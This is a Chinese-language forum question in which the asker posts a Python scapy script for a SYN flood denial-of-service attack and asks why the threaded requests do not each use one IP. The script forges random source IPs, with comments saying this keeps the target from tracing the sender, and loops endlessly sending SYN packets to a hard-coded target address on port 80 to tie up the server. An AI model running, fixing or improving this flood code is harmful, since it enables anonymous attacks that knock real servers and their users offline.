问题遇到的现象和发生背景
我用多线程,让Pool发送网络请求的时候为什么这里会这种情况,理论上是
一个请求一个IP才对
运行结果及报错内容
我想要达到的结果
我的代码如下:
、
#!/usr/bin/env python
# -*- coding:UTF-8 -*-
# import scapy
from scapy.all import * #泛洪攻击
import random
# from scapy.all import conf
import time
# import socket,threading
from multiprocessing.dummy import Pool
#伪装IP
def main():
print("开始执行")
randomIP()
def randomIP(): #伪造IP,防止对方识别出来
ip = ''
for i in range(3): #IP有4段,每次从0-256随机组成
ip += str(random.randint(0,256))
ip += '.'
ip += str(random.randint(0, 256))
return ip
ippp = []
def ds (ip): # 开始泛洪攻击
time.sleep(0.1)
ipadd=IP(src=ip,dst='45.195.251.155')/TCP(sport=80,dport=80,flags='S') #IP()/TCP()必须是大写的scapy.all import *库的作用,src指的是你自己的IP(可以伪造,防止别人找到你),dst是需要访问的IP地址,TCP是主要是放端口
res=send(ipadd)#携带信息访问,但是不返回数据,让对方的服务器一直等待,从而消耗他的端口
# res=sr1(ipadd) #携带信息访问,返回数据1个数据包
print("这个是",ip)
now = ipadd.show() # 查看scapy的属性,都有那些参数,方便修改或者写入
return res
pool = Pool(2)
if __name__ == "__main__":
while True:
ippp.append(randomIP())
ss = pool.map(ds,ippp)
print(ippp)
main()
# main()